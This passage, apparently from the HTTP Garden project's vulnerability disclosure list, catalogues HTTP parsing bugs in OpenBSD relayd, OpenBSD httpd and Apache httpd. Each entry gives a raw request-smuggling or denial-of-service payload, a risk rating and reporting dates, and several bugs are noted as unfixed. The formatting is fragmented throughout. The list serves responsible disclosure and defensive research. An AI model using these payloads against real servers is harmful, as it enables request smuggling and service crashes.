- November 10, 2023: Reported via email.
- November 28, 2023: Patched in commit.
- OpenBSD relayd:
- Chunk-sizes with
+
,-
, and0x
prefixes are interpreted and forwarded.
- Use case: Request smuggling
- Requirements: A server that interprets chunk sizes as their longest valid prefix.
- Risk: High. See server bug 22.
- Payload:
POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n-0x0\r\n\r\n
- Affected programs:
- Headers containing
\x00
or\n
are concatenated into the previous header's value.
- Use case: Request smuggling
- Requirements: Any standards-compliant backend server.
- Risk: High. This is a generic request smuggling vulnerability.
- Payload:
GET / HTTP/1.1\r\na:b\r\nc\x00\r\n\r\n
- Affected programs:
- OpenBSD relayd:
- November 10, 2023: Reported via email.
- November 29, 2023: Patched in commit.
- OpenBSD relayd:
- Message bodies are stripped from
GET
requests without removing theirContent-Length
headers.
- Use case: Request smuggling
- Requirements: Any backend server that supports pipelining.
- Risk: High. This is a generic request smuggling vulnerability.
- Payload:
GET / HTTP/1.1\r\nContent-Length: 10\r\n\r\n1234567890
- Affected programs:
- OpenBSD relayd:
- November 28, 2023: Reported via email.
- December 1, 2023: Patched in commit.
- OpenBSD relayd:
- Requests containing multiple
Content-Length
headers are forwarded, prioritizing the last.
- Use case: Request smuggling
- Requirements: A server that accepts requests containing multiple
Content-Length
headers, prioritizing the first. - Risk: High. See server bug 23.
- Payload:
POST / HTTP/1.1\r\nHost: a\r\nContent-Length: 0\r\nContent-Length: 31\r\n\r\nGET /evil HTTP/1.1\r\nHost: a\r\n\r\n
- Affected programs:
- OpenBSD relayd:
- November 30, 2023: Reported via email.
- July 10, 2024: Remains unfixed.
- OpenBSD relayd:
- Requests containing both
Content-Length
andTransfer-Encoding
are forwarded.
- Use case: Request smuggling
- Requirements: A server that prioritizes
Content-Length
overTransfer-Encoding
, or does not supportTransfer-Encoding: chunked
. - Risk: High. This is the classic request smuggling vector.
- Payload:
POST / HTTP/1.1\r\nHost: a\r\nContent-Length: 5\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\n
- Affected programs:
- OpenBSD relayd:
- November 30, 2023: Reported via email.
- July 10, 2024: Remains unfixed.
- OpenBSD relayd:
- Whitespace-prefixed chunk-sizes are accepted and forwarded.
- Use case: ???
- Requirements: N/A
- Risk: None
- Payload:
POST / HTTP/1.1\r\nHost: a\r\nTransfer-Encoding: chunked\r\n\r\n 0\r\n\r\n
- Affected programs:
- Requests containing multiple
Transfer-Encoding: chunked
headers are forwarded, and treated as equivalent to a single such header.
- Use case: Request smuggling
- Requirements: A server that treats multiple
Transfer-Encoding: chunked
headers as not equivalent to noTransfer-Encoding: chunked
, or joins multipleTransfer-Encoding
headers, and treatschunked,chunked
as distinct fromchunked
. - Risk: Medium. See server bug 21.
- Payload:
POST / HTTP/1.1\r\nHost: whatever\r\nTransfer-Encoding: chunked\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\n
- Affected programs:
These are bugs we found incidentally just by setting up the HTTP Garden and sending an example request. They don't really count because they didn't require using the Garden, but I figure I should document them anyway.
- NULL argument passed to
memcpy
in triggers undefined behavior.
- Use case: ???
- Requirements: N/A
- Risk: None
- Payload: Any request with an empty message body that will be forwarded to a proxy_fcgi backend.
- Affected programs:
- Apache httpd:
- December 2, 2023: Reported via Bugzilla issue.
- December 19, 2023: Fixed in revision 1914775.
- uwsgi:
- Apache httpd:
- Use-after-free.
- Use case: DoS
- Requirements: The server uses
attach_server_session_to_client
- Risk: Low. While this does crash ATS, it's so easy to notice that a reasonable person would not have deployed a vulnerable instance in production.
- Payload: Any request at all.
- Affected programs:
- Sending an extra byte after a request with a chunked message body crashes the server with a segfault.
- Use case: DoS
- Requirements: FastCGI is enabled.
- Risk: High. This is a trivial-to-exploit bug that crashes the server.
- Payload:
GET / HTTP/1.1\r\nHost: whatever\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\n\x00
- Affected programs:
- OpenBSD httpd:
- November 1, 2023: Reported via email.
- November 8, 2023: Fixed in commit.
- OpenBSD httpd:
- Incoming chunked request bodies are echoed back before the response is sent.
- Use case: DoS
- Requirements: FastCGI is enabled.
- Risk: Medium. This will invalidate the request stream for any chunked message, which will ruin shared connections.
- Payload:
POST / HTTP/1.1\r\nHost: whatever\r\nTransfer-Encoding: chunked\r\n\r\n1\r\nZ\r\n0\r\n\rn\
- Affected programs:
- OpenBSD httpd:
- January 4, 2024: Reported via email.
- January 31, 2024: Remains unfixed.
- OpenBSD httpd:
- NULL dereference upon receipt of any request.
- Use case: DoS
- Requirements:
mod_dir
is enabled with certain configuration options. - Risk: Low. This bug is so obvious that no one sane would deploy a vulnerable server.
- Payload: Anything at all.
- Affected programs:
- Apache httpd:
- January 24, 2024: Reported via Bugzilla issue.
- January 24, 2024: Remains unfixed.
- Apache httpd:
These are bugs that we found back when the Garden had HTTP/2 support. We removed HTTP/2 support because it was a little half-baked, but would love to be able to add it back!
- Whitespace characters are not stripped from field values during HTTP/2 to HTTP/1.1 downgrades.
- Use case: ???
- Requirements: N/A
- Risk: None
- Payload:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00E\x01\x05\x00\x00\x00\x01\x00\n:authority\tlocalhost\x00\x05:path\x01/\x00\x07:method\x03GET\x00\x07:scheme\x04http\x00\x05test1\x03\ta\t
- Affected programs:
- Empty header names are preserved across HTTP/2 to HTTP/1.1 translation, leading to the production of invalid HTTP/1.1.
- Use case: DoS
- Requirements: An HTTP/2 downgrade is being performed, and the backend rejects empty header names (as most do).
- Risk: Low. This bug can be used to make a reasonable server 400, which will break connection sharing.
- Payload:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00=\x01\x05\x00\x00\x00\x01\x00\n:authority\tlocalhost\x00\x05:path\x01/\x00\x07:method\x03GET\x00\x07:scheme\x04http\x00\x00\x00
- Affected programs: